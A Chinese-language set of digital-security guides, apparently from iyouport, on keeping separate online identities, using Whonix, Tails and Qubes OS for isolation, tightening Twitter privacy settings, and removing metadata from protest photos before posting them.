你可以看到很多数据流都是从更受信任的域到不太受信任的域——例如，复制和粘贴在工作域中通过电子邮件收到的 URL ，以便可以在不受信任的红色中打开它，或者将通过电子邮件收到的发票从工作域发送到会计域。

但遗憾的是，还有一些数据流从不太受信任的域转移到更受信任的域。一个例子是复制和粘贴一个有趣的 URL，是刚刚在红色域中浏览时偶然发现的，你想与工作域中的同事或朋友分享，所以你需要将其复制并粘贴到工作（同事）或个人（朋友）域的电子邮件中。

现在，将数据从不太受信任的域复制到更受信任的域，是一个重大问题。虽然人们可以认为将 URL 粘贴到 Thunderbird 电子邮件编辑器是一个无害的操作，但它仍然是一个不受信任的输入 ；将更酷的图形文件从 Web 复制到工作域中的例子可能更可怕，只是为了在演示幻灯片中使用，通过恶意 JPEG 或其他图形格式发起的攻击，以及利用渲染代码中的漏洞已经存在有十多年了。

但是不幸的是，这个问题—— 如何处理从不太受信任的系统到更可信赖的系统的数据流—— 在实践中不容易解决。

不过，设计和构建供军方和政府使用的高安全性系统的一些人采取了一种相反的方式—— 他们说他们并不关心信任度较低的域向信任度较高的域的数据传输，只要他们能确保没有办法以相反的方向进行转移就行了。

因此，如果我们可以构建一个系统来保证更可靠的域永远不会将数据传输到不太受信任的域（即使这两个域都被泄露了！），那么他们很乐意允许单向“向上传输”。在实践中，这意味着我们需要消除两个合作域之间的所有隐蔽通道。合作这个词在这里是一个关键词，这使得整个想法根本不实用，恕我直言。

在该方案中确实需要消除合作域之间的隐蔽信道，因为假设来自较不可信域的数据传输确实可能危及更可信的域。

但至少，这不应该导致任何数据泄漏回原始域，不太受信任的域可能与之相联。这里的假设之一是这种系统的用户连接到多个孤立的网

络。即使在那种情况下，消除域之间的所有隐蔽通道也是一个巨大的挑战，可能只有在我们准备好大大牺牲系统性能时才能完成。

可以肯定的是，不可能在不久的将来消除 Qubes 域之间的合作隐蔽通道。我只是不相信这种方法，也不喜欢这种方法无法保护更受信任的域的完整性—它只关注隔离方面。因此，攻击者可能无法将秘密泄露回较不受信任的域，但他或她可以在此更受信任的域中执行其他操作。如果我们不保持诚信，隔离有什么用呢？

这种传输的替代解决方案是拥有可以处理特定文件类型（如 JPEG）的可信“转换器”或“验证器”，并确保我们在目标域中获得非恶意文件。虽然这可能会让你想到旧的 A／V 技术，但它有所不同。

在这里，可信转换器可能是一些用安全语言编写的程序，运行在另一个受信任的域中，而不是一个丑陋的 A／V，其中包含一个巨大的数据库，包含可能出现在 JPEG 文件中的“坏”模式的签名。

这种方法的明显问题是有人必须编写这些转换器，并为我们希望允许转移到更可信域的所有文件类型编写。目前暂时忽略这个问题。或者说，根据使用者的个人风险评估（威胁模型）来决定该怎么做。

——评估风险和潜力：如何选择适合我们目的的在线身份——

「图」

“真实”还是虚拟身份？——

一旦确定了不同的社交域以及与之相关的数字活动和联系人，你需要做的是决定是否要相应地区分自己的身份，或者是否愿意坚持自己的正式身份和真实面貌对他们每个人。

你可能希望将自己的工作与法律层面上的“真实”身份联系起来，或者认为行动主义应该是匿名的，这些是需要仔细考虑和衡量的决定。

例如，一名记者发现使用真实身份进行写作比较方便，那么就可能决定通过昵称与自己的个人域保持联系。另一方面，如果活动家一直在被政府追踪，决定使用化名进行在线活动，那么就应该考虑自己将在现实世界中所有相关活动中展示的身份，例如在会议上发言或参加示威游行。因此，她的在线笔名将与她的脸相关联；但她的脸也可能与她在社交网络上的真实姓名有关联，她的在线活动家身份也就被揭露

了。

在评估在给定环境中使用哪种身份时，问自己以下这些问题会很有帮助：

- 如果我的真实身份在这种背景下被人知道，我的工作、生计或安全是否会受到威胁？
- 如果我被人知道参与了X活动，我的心理健康或稳定会受到影响吗？
- 如果我的真实身份在这种情况下被人知晓，我的家人或其他亲人是否会受到任何伤害？
- 我能够并且愿意安全地保持各领域不同的单独身份吗？

一旦我们评估了风险，就可以考虑在线分离自己的身份的不同策略。评估风险很简单，需要问自己：我要防御的人是谁？他们有什么技术能力？我最脆弱的地方在哪？我愿意为保护自己的资产和人身安全付出多少努力？

——在线分离身份的策略——

「图」

维护单独身份的策略范围可以从完全透明到完全匿名，不同等级。

作者 Kate Harding 谈到她决定以她的真实姓名开始写作，驳回了博主们通常会采取的建议，例如“以化名写作，如果你是一位女士，那就采用男性化或中性化”的博客……掩盖一个人的个人信息，谨慎地发布可识别性细节，不要写任何可能激怒疯子的东西“……

Harding 说，骚扰问题应该由包括男性在内的整个社会来处理，而不是让女性负责。这就好像部分中国的异议人士所说的：“政府不应该监视和骚扰我，而不是我应该为避免骚扰做什么”。这显然是不可能的。好在 Harding 也承认，实名的决定是非常危险的。

因此，我们有几种选择：可以尝试匿名在线参与，可以使用“持久假名”。或者只在有些时候使用真名，并在其他时间使用假名。以下将谈论每种方式的优缺点，以便您可以选择合适自己的方法。

匿名——

完全匿名既可以是孤立的，也可能是较难维护的，但是在我们不需要

获得其他人更多的信任时、当我们可以信任的人很少甚至完全没有时，或者我们不希望自己暴露给其他人的情况下，它非常有用。

在某些特定情况下，匿名可能是一个不错的选择，例如研究或参与有关健康问题的留言板，或者在共享任何一种敏感信息时，尤其是政治。我们可能希望使用假名设置一次性帐户来评论博客或新闻网站，或者一次性电子邮件帐户或聊天会话以与他人讨论敏感信息。

不愿透露姓名的人权活动家写道："我是一名普通的社交网络用户。我就一系列主题发表意见。我谈论的话题并不需要我暴露面孔和名字"。

匿名与"持久假名"并不同。当我们采用匿名作为策略时可能会使用假名，但这些假名不会在不同的网络或社交域中被使用，有些只能使用一次然后丢弃。

持久的假名——

持久性假名涉及在一段时间内持续使用假名。

牛津英语词典将化名定义为"虚构的名称，尤其是作者使用的名称"。在互联网时代，假名也可以被称为"昵称"或"称号"，尽管后者也可以与个人的合法身份产生关联。

Jillian C. York 在电子前沿基金会的博客文章中写道："为什么个人可能希望使用他们出生时的名字以外的其他名字有很多原因。可能是担心对他们的生活或生计的威胁，或者可能冒着政治或经济报复的风险。可能希望防止歧视，或者可能会使用在特定文化中更容易发音或拼写的名称。"

假名可以是人名形式的（例如，"Jane Doe"）也可以不是。在撰写本文时，某些网站（包括 Facebook）要求用户使用其"真实身份"，这通常意味着使用您的法定名称或您熟悉的名称。该政策的推出令一些用户的账户被封锁。如果我们选择在社交网络上使用假名，重要的是要了解这样做的风险：避免这种情况的策略是使用看起来像真人名字的假名。

不必担心，持久性假名也可以提供可见性。可见性使我们能够与他人建立联系，通过将我们的声音固定到特定名称上，同样可以建立在线声誉。在线声誉允许其他人决定我们是否值得信任，因此是基于信任的在线社区的关键方面。

当然你也可以通过始终使用与自己的合法身份相关联的昵称或假名来开发声誉。但要知道，将在线声誉与“真实”名称联系起来的选择应根据需要和具体背景酌情而定。

为了不同的目的，也可以保留多个假名、和多个领域的声誉。

集体身份——

另一种匿名方式是通过集体参与。这可能意味着许多事，从发布集体声明的私人团体或邮件列表、到共享的 Twitter 帐户。就如 IYP，我们并不是一个人，但我们所有人都称为 IYP。

虽然同样的安全问题在这里也适用，但在集体身份背后工作意味着你拥有人群的力量，如果您不想透露自己的身份，这可能是一个不错的选择。

比较策略——

无论我们做出什么样的选择，重要的是我们保持自己的不同空间域有效分离。

无论你在数字生活中存在多少不同的领域、以及创造了多少相应的身份，在互联网上，每个身份—— 即使是带有真实姓名的身份—— 都会变成“虚拟”角色，应该谨慎管理它们每一个。

各种身份选择的利弊：

「图」

——创建新的在线身份——

「图」

1、起个名字

起名因文化而异。虽然名称以某种形式可以存在于不同的文化之间，但是“法定名称”的概念是一个相当新的概念。

不同的国家以不同的方式规范命名的做法。例如，在摩洛哥，名字必须从政府批准的名单中选择，而在德国，名字必须明确反映婴儿的性别。

在互联网上，具有“实名”政策的平台倾向于据此判断基于个人的法定名称，而不是允许他们根据自己的选择进行识别。这可能是有问题的，不仅对于试图保持匿名的个人来说，而且对于变性个人、具有别名的个人和其他人来说都很麻烦。

由于这些限制，在选择假名时选择那些看起来像真人的名字可能是有益的。尤其是使用商业社交网络时，最好使用可靠的名和姓，而不是更富有想象力的名和姓。

一旦决定了虚拟角色的名字、姓氏和用户名，就应该进行彻底的研究——也许还要使用自我 doxing 的工具和技术（参见前面）—找出其他人是否已经在使用该名称。毕竟，如果我们希望发展自己的声誉，不希望与别人混淆，特别是如果他们不同意我们对世界的看法的话。

2、写自己的故事

“故事讲述”（以及为此创建社交面具）的做法是很有传统的，并且创建一个带有故事的新角色使得维护角色变得容易得多。

重点是，当我们创造一个身份时，应该设想一个完整的虚拟角色，一个需要培养和发展的化身，才能变得可信。

关于创建故事的具体技巧请详见 《抗议须知》和《角色扮演》

3、创建在线资料

一旦创建了几个角色，重要的是让它们将你的现实生活和数字生活中分开。虽然记录身份可能有助于确保你记住自己的故事，但也可以采取技术措施来确保我们的个人资料保持独立。

一个好的开始是为自己的每个身份创建不同的浏览器配置文件、邮箱和社交网络帐户。一个好的经验法则是始终为每个帐户/身份使用不同的应用程序，如果可能的话，为每个身份分配不同的设备或操作系统。

4、创建单独的浏览器配置文件和邮箱

浏览器配置文件：使用 Firefox 创建多个配置文件：https://developer.mozilla.org/en-US/docs/Mozilla/Multiple_Firefox_Profiles

邮箱：创建新邮箱时，最好使用 Torbrowser 连接到服务器的网站，如果需要联系电子邮件地址，请考虑使用一次性电子邮件地址。具体

工具详见 《抗议须知》和《角色扮演》。

5、在社交网络上管理身份

建议始终使用安全的 HTTPS 连接。

– 在社交网络平台上为新角色创建帐户时，请使用您为该角色创建的浏览器配置文件。务必检查隐私设置，以便了解您公开了什么、谁可以查看您发布的内容、谁可以与您联系、谁可以查找您、以及您的联系人可以做什么（他们可以在图片中标记您吗？等等）

– 同时要非常小心您提供的个人资料信息，以及您使用的个人资料照片和封面照片，因为无论隐私设置如何，这些信息通常都会公开给在该社交网络中查找你的任何人。IYP 的社交工程演示中曾多次使用过头像和封面照片作为线索。

– 确保您的虚假身份联系人不与其他身份重叠，并确保您的不同身份间不会彼此关注。切勿使用您的真实身份账户关注您的假名账户。如果有人想要揭开这些人物角色中的一个角色的真实身份，他们首先要寻找的就是该帐户所关注的人以及谁关注该帐户。出于同样的原因，我们应该避免将一个帐户发布的帖子或其他内容在另一个帐户重新发布，更不要互相转发。

– 大多数社交网络平台都会尽可能地显示您的位置。当你使用支持GPS的手机与平台进行交互时，通常会提供此功能，但如果你从其他设备连接也会发生这种情况—— 例如，计算机所连接的网络也可能提供位置数据。请仔细检查您的设置—— 特别是在照片和视频共享网站上。

– 照片和视频也可以在您没有意识到的情况下显示大量信息。许多相机会将元数据嵌入到您的照片中，其中可能包括照片的日期、时间和位置、相机类型等。当我们将内容上传到他们的网站时，这些信息就会被暴露。

– 如果通过移动应用程序访问社交网络平台，最好为每个单独的帐户使用不同的应用程序，以免错误地将内容发布到错误的帐户。有几个应用程序可用于管理您的社交网络平台—但是，为每个身份使用不同的应用程序始终是一个好主意，以降低泄露您的真实身份的风险。

– 在一天中的不同时间使用您的不同身份发布。一些社交网络平台，如 Facebook，允许用户安排帖子的发布时间。Postcron（

https://postcron.com

）也可以帮助您在 Twitter 和其他平台上安排定时发布帖子。

– 为了进一步将你的真实身份与你的假名身份保持距离，你还可以在假名配置文件中写下（并在 Twitter 上发布相关主题标签）关于你从来没有参加过的事，特别是如果这些事发生在远离你所在地的地方。发布它们然后删除那些看似已经暴露了“真实身份”的帖子，也会很有趣，这样可能会让任何试图揭露你真身的人感到困惑。

– 无论决定使用哪种社交网络平台，您都应该仔细阅读其服务条款，以检查它们是否适合您的目的。

6、另类社交网络

如果你的目标是尽可能广泛地宣传自己正在组织的活动或正在推出的项目，那么主流商业社交网络平台（如 Facebook 或 Twitter）有可能比较有用。

但是，如果您正在使用其中一个主流平台，请务必注意：

- 这些平台有非常严格的审查条款，如果他们发现你的内容“违反”了他们的规则，他们可以随意封锁你的帐户；
- 它们会对用户进行概要分析，并将信息出售给广告商。这使得很难清楚地了解你的数据实际发生了什么，最好的解决方案是将商业社交网络平台的使用限制为特定的、仅希望向广大受众宣传的内容。也就是，此外别的话不要说。

当然，你还有其他可用的选择—— 为用户提供更多自由的平台。

- Ello 在其宣言中明确指出“你不是产品”。它也不需要你的“真实姓名”—— 在商业社交网络中很少见。然而，重要的是要注意 Ello 仍然是一个商业项目。
- 基于免费开源软件以及对隐私友好的分布式而非集中式的替代方案，是更重要的。其中，Diaspora（

https://joindiaspora.com

- ），Friendica（

https://friendi.ca

- ）和Crabgrass（

https://we.riseup.net

- ）特别值得一提。
- 还有其他类似的网站可能在不同的地区很受欢迎，所以希望您探索其他选择。

在选择使用社交网络平台之前，你应该问以下问题：

- 它是否为网站的所有用途提供了基于 SSL（如 HTTPS）的连接，而不仅仅是在登录期间？是否存在与加密相关的问题（例如与加密证书相关）？
- 根据平台的最终用户许可协议、隐私政策和/或数据使用政策，您的内容和个人数据将被如何处理？与谁分享？
- 为用户提供了哪些隐私选项？例如，我们可以选择仅与少数人安全地分享视频吗，还是默认情况下都是公开的？
- 服务器的地理位置是否已知？属于哪个属地管辖权？公司在哪里注册？这些信息如何与我们的活动和信息的隐私和安全相关？

更多详见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

7、创建博客或网站

你可能需要一个更独立的平台来传播想法、计划或创作。为此，可以创建一个网站或博客。

- 创建博客就像注册博客平台并选择名称和“主题”或可视化模板一样简单。有几个博客平台既方便用户又免费，包括开源 WordPress（WordPress.com）。
- 另外面向安全的平台还有：**Noblogs**（

http://noblogs.org/

- http://noblogs.org
-) and Nadir’s **BlackBlogs**—(

http://blackblogs.org/

- http://blackblogs.org

-). 要在这些平台中的任何一个上创建博客，只需在服务器上托管电子邮件帐户即可。
- 如果想要复杂的图形布局、或需要安装 WordPress 及其插件不提供的特定工具，可以创建自己的网站。A / I 是个选择，默认情况下不会将其服务的用户与真实身份相关联。要了解有关 Autistici / Inventati 的虚拟主机服务的更多信息，请访问：https://www.autistici.org/en/services/website.html
- 如果想使用自己的域名，除非使用比特币或其他匿名支付系统，否则绕过支付的身份识别可能会很困难。我们将提供的个人数据不仅存储在注册商的内部档案中，而且默认情况下任何人都可以通过搜索引擎（whois）或 Gandi. net 中的简单命令轻松查询这些数据。这时候也许你需要挂名一个组织并使用他们的信息，或者可以使用像 Gandi.net这样的注册商，它可以尽可能为个人提供私人域名注册。

——管理集体在线身份——

「图」

1、集体虚拟角色

General Ludd, Captain Swing, the Guerrilla Girls, Luther Blissett, Anonymous—— 几个世纪以来有很多志趣相投的人们组建团体匿名参加了历史性的抗议活动，或者以集体笔名创造了突破性和挑衅性的艺术品或恶作剧。除了隐藏所涉及的个人的身份之外，这些集体角色已经在近乎神奇的光环中笼罩了他们所有的壮举。

如果我们想采用集体身份，可以采用已存在的身份，如 Anonymous / Anonymiss，也可以创建一个我们可以共享的新身份。

- 关于集体认同的一项非常有趣的研究是人类学家 Gabriella Coleman 的书《Hacker，Hoaxer，Whistleblower，Spy. The Many Faces of Anonymous》IYP 介绍给这本书，基于对匿名者如何成为具有多种面孔和态度的众所周知且强大的集体认同的人类学研究。
- 在 《Networked Disruption. Rethinking Oppositions in Art, Hacktivism and the Business of Social Networking (2011)》中，Tatiana Bazzichelli 描述了多重身份是如何被用来破坏权力和霸权的基本概念，以及它如何在今天的网络中发挥重要作用。

2、管理集体身份……或简单的集体账户

虽然许多人的合作可以帮助创建一个丰富的集体身份，但管理一个集体项目可能会有一些你应该记住的安全和技术挑战。

由于安全链中的单个弱连接都可能会破坏整个系统，因此我们的安全性和匿名性取决于我们小组的每个成员所采取的预防措施。安全是一种集体思维。我们的团队能获得的安全程度取决于我们可能面临的威胁、以及我们对手的力量和技能。

尽管如此，你肯定不希望丢失一些重要的东西，例如你的集体邮箱或集体使用的社交网络帐户的密码。如果你决定与整个团体共享这些密码，则需要对每个成员进行如何安全存储密码的培训。

为了最大限度地降低此类风险，应尽量使用提供不同帐户和密码的服务。例如，可以创建一个所有成员都订阅的邮件列表，而不是使用单个邮箱。如果允许未订阅的人员写入，则每个组成员都能够在他们自己的邮箱中读取该电子邮件，而不是在具有危险共享密码的集体邮箱中。

同样，如果真的需要通过 Facebook 进行协调，那么在专门的小组中共享信息要好得多，而不是在集体账户中做所有的事。

——每个身份的不同设备——

「图」

如果你对自己的几个身份使用相同的操作系统，无论如何谨慎地分离配置文件，仍然会犯下人为性的错误，例如，连错了账户，或者被恶意软件感染，允许攻击者使用我们的所有身份监控我们在线做的所有事。

通过为每个域使用不同的虚拟机，以及通过保留另一个虚拟机来打开不受信任的附件以避免恶意软件感染，可以限制这两种风险。

出于匿名化的目的，最好的选择是安装 Virtualbox，一个开源的跨平台虚拟机监视器（

https://www.virtualbox.org

）。使用 Virtualbox，您可以创建一个虚拟机，然后在其上运行一个名为 Whonix 的操作系统。

我们介绍过 Whonix，详见《匿名工具：小白级指南》

Tails——

如果拥有自己的计算机，可以自由安装任何我们想要的东西，特别是如果它是一台功能强大的机器，那么使用虚拟机，特别是 Whonix 是一个好主意。但是，如果我们使用较旧的机器或只是从网吧连接到互联网，安装虚拟机就不行了。在这种情况下可能会转向一个安装了 Linux 操作系统的 USB 记忆棒，只要打开它就会在正在使用的计算机上运行。

这种情况下推荐 Tails，或 Amnesic Incognito Live System，这是一个基于 Debian 的免费开源 Linux 发行版，几乎可以在任何计算机上通过 DVD，USB记忆棒或SD卡启动。强制所有传出连接通过**Tor**，阻止直接的非匿名连接。

这是一个完整的操作系统，就像 Whonix 一样，配备了几个内置应用程序：Web浏览器，即时消息客户端，电子邮件客户端，办公套件，图像和声音编辑器，等等。使用 Tails，可以访问互联网，进行通信，并完成所有我们需要的匿名和安全操作，并且在计算机关闭后，系统将不会在机器上留下任何痕迹，除非我们要求它这样做。

使用不同的身份时，不建议使用相同的 Tails 会话执行两个任务或认可两个身份。第一个原因是Tor倾向于重复使用相同的线路，例如在相同的浏览会话中，使得强大的对手更容易将多个浏览请求关联为同一线路的一部分并且可能来自同一用户。其次，如果在使用 Tails 或其中一个应用程序时出现安全漏洞或误用，可能会泄露有关我们会话的信息。

这两种威胁的解决方案很简单，就是每次使用新身份时关闭并重新启动 **Tails**。

隔离安全性：**Qubes OS——**

数字安全有三种方法：第一种是模糊的安全性，它基于加密、强密码和类似的措施，并作为第一道防线；然后是正确的安全性，软件开发人员试图摆脱使他们的代码易受攻击的 bug。但现代软件非常复杂，几乎不可能完美地完成这项工作。因此，最现实的方法是隔离安全，理所当然地认为安全措施可能是脆弱的，并通过阻止可能的攻击者访问我们想要保护的整个系统来减少伤害。

例如，为了通过隔离实现安全性，Whonix 分为两部分：Whonix-Workstation，以及 Whonix-Gateway，它通过 Tor 路由所有互联网流量，并通过与前者分开，避免恶意软件、行为不当的应用程序和用户错误带来的许多威胁。

如果你不想要 Whonix 呢？有一个操作系统通过以隔离作为其主要目的而具有安全性，并且可以使管理多个社交域和/或身份的人的生活变得更加容易。

它被称为 Qubes OS—

https://www.qubes-os.org

—由计算机安全研究员 Joanna Rutkowska 开发，Qubes 是一个免费的开源安全导向操作系统，基于 Fedora，Linux 发行版和 Xen，它允许我们将数字生活的各个部分分离为安全隔离的虚拟机。

Qubes 将我们在计算机上执行的操作安全地隔离在这些不同的VM中，这样，如果一台虚拟机受到攻击，另一台虚拟机也不会受到影响。

通过这种方式，我们可以在一台物理计算机上完成所有工作，而不必担心一次成功的网络攻击会损害我们整个系统，也不会有人能够揭示我们几个身份之间的所有联系。

用于多个身份管理的 Qubes OS 的优势在于其用户友好的窗口管理器，它为每个域分配不同的颜色。因此，框架的颜色使得每个窗口清晰可识别为属于对应于该颜色的域，并防止你在身份管理中潜在的人为错误。

——那么 Tails，Whonix，Qubes OS：应该如何选择——

Wonix，Tails 和 Qubes OS—都允许我们使用完全独立的操作系统来管理我们的替代身份，并且可以非常有用。当然，选择取决于您可以用来保护数字生活资源和切实的威胁模型，尤其是您期望面对的对手：如果你面对的是国家政权，那么绝对要肯定自己的数据都没有泄露。所以请先评估自己的资源和需求，以便确定最佳解决方案。

Tails，Whonix 和 Qubes Os 之间的比较如下：

好了，现在您知道哪一个最适合自己了。

最重要的是，不应将它们看作是一种万能神药，最重要的依旧是人——操作安全重于一切，而不是软件安全。但可以肯定的是，根据您的需求和资源，通过使用它们中的任何一个，都可以减少被攻击的可能性。

安全应该进入习惯，就像您使用右手签名还是左手那样自如。祝好运。〇

原文

在Twitter上提高隐私和安全性的7个技巧 - iyouport

护盾（AS）

【2020年8月5日存档】本文是给大众的，也就是说每一位推特用户最基本应该做到的。

- 重要内容《技术是愚蠢的-这就是为什么您应该格外小心：基本手册给行动者、敏感人士和任何期待安全的普通公民》

Twitter 很有趣，但它也会变得令人恐惧。trolls和政府间谍最喜欢在这里攻击您的推文并跟踪您的一举一动。

虽然可以将整个账户设为私密以阻止外部监视，但是，这样做显然会阻碍您的信息传播 —— 并且您不一定就能准确识别每一位申请关注者究竟是什么人、也无法预测其未来有什么意图。

事实上您可以通过简单切换一些功能设置，即可提高在线安全性。iOS 和 Android 都可以，虽然步骤有一些不同。

1、禁用照片标记

「图」

类似于在Twitter上@提及您，用户还可以在其发布的照片中为您添加标记。听起来似乎没有恶意，但是，如果用户在您不想与之公开产生关联的图片中标记您，您可能希望加强匿名性。

幸运的是，您可以轻松阻止其他用户在他们的照片中标记您。

您可以对其进行设置，以便没有人可以标记您，也可以仅仅阻止您不认识的人标记您。

而且，如果您将其完全关闭，那么以前使用过的所有标记都会从您的帐户中消失，因此对于标记照片来说，这是一个终极开关。

2、禁用已读回执

「图」

如果您的DM已打开，则意味着任何人都可以向您发送消息。并且默认情况下，如果您阅读了该消息，那么对方会知道，该消息在其结尾处带有一个蓝色的对勾。

为防止用户知道您阅读了邮件，请禁用已读回执。

在 “设置和隐私” 菜单中，点击 “隐私和安全”。然后，关闭 “显示已读回执”。

在 Android 应用中，先点击 “Direct Messages” 以找到该设置。

现在，当您阅读某人发来的私信时，在消息下方的箭头将是灰色的（未读），而不是蓝色（已读）。

如果您关闭已读回执，也不会看到其他人何时阅读您的私信。

3、匿名观看 Periscope 视频

「图」

Periscope 是内置在Twitter中的实时视频流平台。除了直播之外，您还可以观看和评论其他人的视频，但他们会知道您正在观看。

如果您想继续观看直播视频，但又想保持匿名，完全可以断开与 Periscope 的连接。

请注意，此选项仅存在于适用于 iOS 和 Android 的 Twitter 应用程序中。

在 “设置和隐私” 菜单中，点击 “隐私和安全”。然后，关闭 “Connect to Periscope”。现在，您能够自由观看 Periscope 视频，但其他人将不知道您正在观看。

只有将其重新打开，您才能做自己的直播或对其他实时视频发表评论。

4、阻止其他用户找到您

「图」

通过使用随机头像并将您自己的名字从帐户中删除，您可以使其他人很难在 Twitter 上找到您，但是，您也可以阻止其他人使用您的电子邮件地址或电话号码来查找您的个人资料。

同样，进入 “设置和隐私”，然后进入 “隐私和安全”。再进入“可发现性和联系方式” 并关闭选项，现在那些追踪到您的电子邮件地址和电话号码的人就很难在 Twitter 上找到您了。

当然，建议您尽可能不要使用自己真实的电邮地址和电话号码注册推特，因为该公司依旧拥有这些信息，很难说他们是否会将这些信息交给政府。

5、禁用您的地理位置

「图」

默认情况下，Twitter 会收集并存储使用设备的GPS和其他位置数据点跟踪的精确坐标，以向您显示本地广告以及特定于位置的趋势、内容和建议。

它们还用于将位置标签添加到您的推文中，很难单独禁用。

要关闭位置数据，请返回 “设置和隐私”，然后返回 “隐私和安全”。下来，点击 “精确位置”，然后将其禁用。

在适用于 Android 的 Twitter Lite 中，该选项不可用，但在 Tweets 标题下有一个 “位置信息” 选项，您可以启用或禁用它，但它仅适用于您制作的 Tweet。

停用 “精确位置” 会阻止您接收本地内容并将位置数据添加到推文中，但并不会阻止您获得一般广告。

6、停止个性化和数据跟踪

「图」

Twitter 始终会收集您的数据，但是您可以控制它如何在线操纵您。这个方法我们以前介绍过，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》。

如果您觉得上面这篇文章中介绍的方法有点复杂，那么您至少可以做到最基本的。要查看您的个性化设置和数据设置，请返回 “设置和隐私”，然后选择 “隐私和安全”。

在 “个性化和数据”中，您可以选择关闭以下功能：

- Personalized ads
- Personalize based on your inferred identity
- Personalize based on places you've been
- Track where you see Twitter content across the web
- Share your data with Twitter's business partners

您可以关闭单个设置，也可以通过直接切换 “个性化和数据” 设置来禁用所有设置。

7、撤消第三方应用程序访问权限

「图」

第三方应用程序有时会要求您使用 Twitter 凭据登录，包括 Instagram，Spotify，Imgur，Duolingo，TweetDeck，Reddit，Buffer 和 Twitterific.

尽管您可以信任其中一些应用程序，但还有一些应用程序可能是不干净的，这就是为什么说在使用完毕后应撤消它们对您帐户的访问权限。

是的，再次进入“设置和隐私”，但是这次，点击 “帐户”。在 “数据和权限”下，点击 “Apps and sessions” 以查看所有有权访问您帐户的第三方应用程序。

点击应用程序以查看描述、网站和您授予的权限。要删除哪个请点击 “撤消访问权限”。除非您再次授予其访问权限，否则该应用程序将不再与您的 Twitter 帐户一起使用。

最后，再次重申以上这些步骤都是最基本的；也就是大众应该能做到的。每一种安全都必须明确威胁模型，如果您是敏感人士、被政府长期盯梢的对象，仅仅这样做依旧是不够的，您可以参见这里介绍的步骤，见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》。〇

原文

在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作 - iyouport

护盾（AS）

【2020年10月14日存档】作为参与者，您应该有意识地保护行动整体的安全，当然包括您的个人安全。

从去年十几个国家/地区参与的抗议活动开始（包括香港），直到今年BLM带动的多个国家联合的抗议运动，各种群体反抗一直在激增，示威游行的有力照片和录像吸引了全世界的目光。

不幸的是，如果在线上传照片之前没有采取保护措施，那么这些照片可能会使您或其他人处于危险之中。

- 不要错过《警察用哪些监视方式瞄准抗议者？》
- 《如何在监视时代参加抗议活动》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 《指南：当您准备参加抗议活动...》

在抗议活动中拍摄和记录证据非常重要。这不仅可以避免被警察反咬，而且有些时候还能发现警方的渗透者。

尤其是，媒体捕捉的镜头经常很片面，甚至有误导性 —— 企业媒体甚至会埋没真正的抗议目的。

但不论是抗议者的脸部出现在新闻报道中，还是被警方的社交媒体情报所捕获，都很可能导致被捕、被骚扰甚至更糟。

因此，采取预防性隐私措施至关重要。

如果您参加了抗议活动并想要分享图像，您需要知道，保护自己的身份以及您拍摄到的其他人的身份至关重要。

本文将讨论的是在社交媒体上发布抗议图片和视频之前应采取的步

骤，例如 剥离元数据，模糊面孔和任何可识别性信息线索，使用匿名帐户或一次性帐户等等。

老读者会知道，这些方法我们曾经都介绍过，只是分散在不同的文章中了。现在 gadgethacks 用一个背景将它们综合起来，这样也许更便于查找。

步骤1：删除地理标签和其他元数据

「图」

Exif 数据是数码相机（包括智能手机相机）记录的元数据。

数据为摄影师提供了有关所用相机设置的有用信息，例如光圈、ISO 感光度、焦距、闪光灯使用、曝光时间、变焦级别、分辨率、色彩空间等。

尽管这些功能很有用，但其中包含的数据也可以用来跟踪您和您拍摄的照片的位置，包括黑客和警察，几乎任何人都可以使用该信息来了解您去过的地方和您的身份。

- 不要错过，各种元数据工具《都是工具，从自我保护到有效利用》
- 《深挖推特：如何从推文中提取准确的元数据？》

最敏感的信息是地理标签或地理坐标，它们可以精确地指出拍摄图像或视频的确切位置。

然后是所用相机的制造商和型号、其软件以及时间和日期，所有这些都可以定位您。甚至还有加速度和高度数据，后者可以说出您是在地面上还是在几层楼上拍摄的该图像或视频。

对于智能手机，有很多选项可以从照片和视频中删除GPS数据和其他元数据。不过并非所有功能或应用程序都适用于所有类型的视觉媒体，甚至不能在所有移动操作系统上通用。

尽管某些社交媒体网站（包括 Facebook、Twitter 和 Instagram）会自动隐藏元数据，但那只是对其他用户不可见而已，平台自己会保留，随时可能交给警察。于是您最好是在上传之前手动安全地删除元数据。

选项1：从照片中删除地理标记和其他元数据

「图」

如上所述，有许多不同的方法可以从照片中删除地理标记和其他元数据。在进入删除大多数 Exif 数据的第三方应用程序之前，您的设备中可能就有从图像中删除位置数据的本地功能。您需要使用它。

在iOS上，您可以先删除任何照片的位置数据，然后再从“照片”应用中共享它。在 Android 上也许复杂一些，具体取决于您的设备的品牌和型号。

例如，在 Samsung Galaxy 的 Gallery 应用程序中，您可以向上滑动图像以显示其详细信息，点击“编辑”，然后删除位置。

如果您主要将 Google 相册用作保存视频和照片的地方，例如在 Pixel 手机上，除非您的设备“估计”了该位置，否则您无法删除该位置（在照片上滑动，点击该位置旁边的“ 更多信息”，然后点击“没有位置”），但是在通过Google 相册共享图像时，您可以禁用位置共享。

另外，您可以简单地在 iPhone 或 Android 上拍摄任何照片的屏幕快照，这不仅能自动从原始图像中删除位置标签，而且还会删除所有其他Exif元数据。

但是，这样做会降低照片的质量。如果您急于想要在线上传照片，这是一个可行的选择，但是对于其他所有功能，还有第三方应用程序可以做得更好。

对于 iOS,，例如 Exif Metadata, Metapho, HashPhotos, Exif Viewer, Koredoko, ViewExif, PixelGarde, 和 Photo & Video Metadata Remover，都可以从图片中清除地理标记和其他元数据。

其中很多应用还允许您编辑元数据，因此您可以通过更改拍摄图像的实际位置来愚弄监视者。当然，你知道，假消息制作者也会这么干。

另一方面，在 Android 上，有诸如 Metadata Remover, ExifTool, Scrambled Exif, 和 Photo Stripper 之类的应用程序，可以擦除所有Exif信息。

您可以使用的最佳选择之一是跨平台的开源工具，因此您可以在拥有的任何设备（包括计算机）上使用它。它被称为 Image Scrubber，它

可以在任何Web浏览器上正常运行。

上传图像后，它会向您显示其所有 Exif 数据，然后可以在其中“清理”它。如果要从视频中捕获静止图像，也可以上传视频并选择帧，然后查看和清理 Exif 详细信息（如果有的话）。

选项2：从视频中删除地理标记和其他元数据

「图」

